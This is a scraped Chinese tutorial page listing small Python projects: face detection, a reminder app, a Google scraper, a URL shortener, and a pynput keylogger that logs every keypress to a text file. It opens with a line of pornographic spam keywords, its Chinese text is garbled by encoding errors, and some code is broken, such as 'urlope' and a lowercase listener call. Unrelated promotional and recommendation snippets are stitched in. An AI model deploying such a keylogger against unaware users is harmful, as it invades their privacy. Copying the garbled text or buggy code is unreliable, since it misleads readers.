国产精品国产三级国产试看,香蕉人精品视频多人免费永久视频,宅男噜噜噜66一区二区,天天插天天射,女人体(1963)菠萝蜜视频,97在线视频人妻无码一区,精品久久久久精品色婷婷综合

鍵盤記錄器的實現(xiàn)方式(鍵盤記錄器的實現(xiàn)方式文庫)

更新時間:2023-08-26 09:08:03作者:未知

鍵盤記錄器的實現(xiàn)方式(鍵盤記錄器的實現(xiàn)方式文庫)

人臉識別

目的:編寫一個Python腳本,可以檢測圖像中的人臉,并將所有的人臉保存在一個文件夾中。

提示:可以使用haar級聯(lián)分類器對人臉進行檢測。它返回的人臉坐標(biāo)信息,可以保存在一個文件中。

安裝:OpenCV。

import cv2

# Load the cascade

face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)

# Read the input image

img = cv2.imread(‘images/img0.jpg’)

# Convert into grayscale

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# Detect faces

faces = face_cascade.detectMultiScale(gray, 1.3, 4)

# Draw rectangle around the faces

for (x, y, w, h) in faces:

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)

crop_face = img[y:y + h, x:x + w]

cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)

# Display the output

cv2.imshow(‘img’, img)

cv2.imshow(“imgcropped”,crop_face)

cv2.waitKey()

七、提醒應(yīng)用

目的:創(chuàng)建一個提醒應(yīng)用程序,在特定的時間提醒你做一些事情(桌面通知)。

提示:Time模塊可以用來跟蹤提醒時間,toastnotifier庫可以用來顯示桌面通知。

安裝:win10toast

from win10toast

import ToastNotifier

import time toaster = ToastNotifier()

try: print(“Title of reminder”)

header = input()

print(“Message of reminder”)

text = input() print(“In how many minutes?”)

time_min = input() time_min=float(time_min)

except:

header = input(“Title of reminder\n”)

text = input(“Message of remindar\n”)

time_min=float(input(“In how many minutes?\n”))

time_min = time_min * 60 print(“Setting up reminder..”)

time.sleep(2) print(“all set!”)

time.sleep(time_min) toaster.show_toast(f”{header}”, f”{text}”, duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)

更多項目源碼,請繼續(xù)關(guān)注小編,如果大家在學(xué)習(xí)中遇到困難,想找一個python學(xué)習(xí)交流環(huán)境,可以加入我們的python裙,關(guān)注小編,并私信“01”即可進裙,領(lǐng)取python學(xué)習(xí)資料,會節(jié)約很多時間,減少很多遇到的難題。

八、獲取谷歌搜索

目的:創(chuàng)建一個腳本,可以根據(jù)查詢條件從谷歌搜索獲取數(shù)據(jù)。

from bs4

import BeautifulSoup

import requests

headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’} def google(query):

query = query.replace(” “,”+”)

try:

url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8′

res = requests.get(url,headers=headers)

soup = BeautifulSoup(res.text,’html.parser’)

except:

print(“Make sure you have a internet connection”)

try:

try:

ans = soup.select(‘.RqBzHd’)[0].getText().strip() except: try: title=soup.select(‘.AZCkJd’)[0].getText().strip()

try:

ans=soup.select(‘.e24Kjd’)[0].getText().strip()

except: ans=”” ans=f'{title}\n{ans}’ except:

try:

ans=soup.select(‘.hgKElc’)[0].getText().strip()

except:

ans=soup.select(‘.kno-rdesc span’)[0].getText().strip()

except:

ans = “can’t find on google”

return ans result = google(str(input(“Query\n”))) print(result)

九、鍵盤記錄器

目的:編寫一個Python腳本,將用戶按下的所有鍵保存在一個文本文件中。

提示:pynput是Python中的一個庫,用于控制鍵盤和鼠標(biāo)的移動,它也可以用于制作鍵盤記錄器。簡單地讀取用戶按下的鍵,并在一定數(shù)量的鍵后將它們保存在一個文本文件中。

from pynput.keyboard import Key, Controller,Listener

import time

keyboard = Controller()

keys=[]

def on_press(key):

global keys

#keys.append(str(key).replace(“‘”,””))

string = str(key).replace(“‘”,””)

keys.append(string)

main_string = “”.join(keys)

print(main_string)

if len(main_string)>15:

with open(‘keys.txt’, ‘a(chǎn)’) as f:

f.write(main_string)

keys= []

def on_release(key):

if key == Key.esc:

return False

with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

十、短網(wǎng)址生成器

目的:編寫一個Python腳本,使用API縮短給定的URL。

from __future__ import with_statement

import contextlib

try:

from urllib.parse import urlencode

except ImportError:

from urllib import urlencode

try:

from urllib.request import urlopen

except ImportError:

from urllib2 import urlope

import sys

def make_tiny(url):

request_url = (‘http://tinyurl.com/api-create.php?’ +

urlencode({‘url’:url}))

with contextlib.closing(urlopen(request_url)) as response:

return response.read().decode(‘utf-8’)

def main(): for tinyurl in map(make_tiny, sys.argv[1:]):

print(tinyurl) if __name__ == ‘__main__’: main()

—————————–OUTPUT————————

python url_shortener.py https://www.wikipedia.org/

https://tinyurl.com/buf3qt3

最后多說一句,小編是一名python開發(fā)工程師,這里有我自己整理了一套最新的python系統(tǒng)學(xué)習(xí)教程,包括從基礎(chǔ)的python腳本到web開發(fā)、爬蟲、數(shù)據(jù)分析、數(shù)據(jù)可視化、機器學(xué)習(xí)等。

本文標(biāo)簽: [db:關(guān)鍵詞]  

為您推薦

鍵盤記錄器的實現(xiàn)方式(鍵盤記錄器的實現(xiàn)方式文庫)

人臉識別目的:編寫一個Python腳本,可以檢測圖像中的人臉,并將所有的人臉保存在一個文件夾中。提示:可以使用haar級聯(lián)分類器對人臉進行檢測。它返回的人臉坐標(biāo)信息,可以保存在一個文件中。安裝:Ope

2023-08-26 09:08

php自動采集教程 php采集系統(tǒng)

方法一,$_POST$_POST或$_REQUEST存放的是PHP以key=>value的形式格式化以后的數(shù)據(jù)。方法二,使用file_get_contents(“php://input”)對于未指定

2023-08-26 09:08

rar解壓縮工具 rar解壓縮軟件電腦版

場景:一、下載了一個RAR/7z的壓縮包文件到iPad上,想解壓縮怎么辦?里面還有重要的文件。但是解不開,干著急。 二、找到多年前的資源包,它卻是用RAR/7z壓縮的格式,在iPad上不能直接解開,

2023-08-26 09:08

變臉軟件有哪些 古裝變臉軟件有哪些

這幾天,網(wǎng)紅應(yīng)用FaceApp又引發(fā)了一場小小的互聯(lián)網(wǎng)恐慌,這已經(jīng)是自2017年1月FaceApp誕生后引發(fā)的第三次大型互聯(lián)網(wǎng)爭議——竊取用戶隱私。FaceApp是一款安卓與iOS平臺上廣受歡迎的“換

2023-08-26 09:06

ico在線制作大小 ico 在線制作

經(jīng)常使用U盤的應(yīng)該都有發(fā)現(xiàn),U盤插入電腦之后,在電腦里的顯示都是一個盒子的圖標(biāo)。有些用戶就想要把圖標(biāo)改成自己喜歡的圖片。如何修改U盤圖標(biāo)?今天快啟動小編給大家分享一下U盤個性化圖標(biāo)的設(shè)置方法。U盤個性

2023-08-26 09:06

手機剪輯音樂的軟件(手機剪輯音樂的軟件免費)

在我們?nèi)粘9ぷ骱腿粘W(xué)習(xí)中,有時候一些音頻文件由于文件時長太長,或者文件太大,我們需要對音頻文件進行裁剪。在電腦上上怎么對音頻文件進行裁剪呢?一說起這個,大家肯定會想到非常專業(yè)的音頻處理工具AU了,

2023-08-26 09:06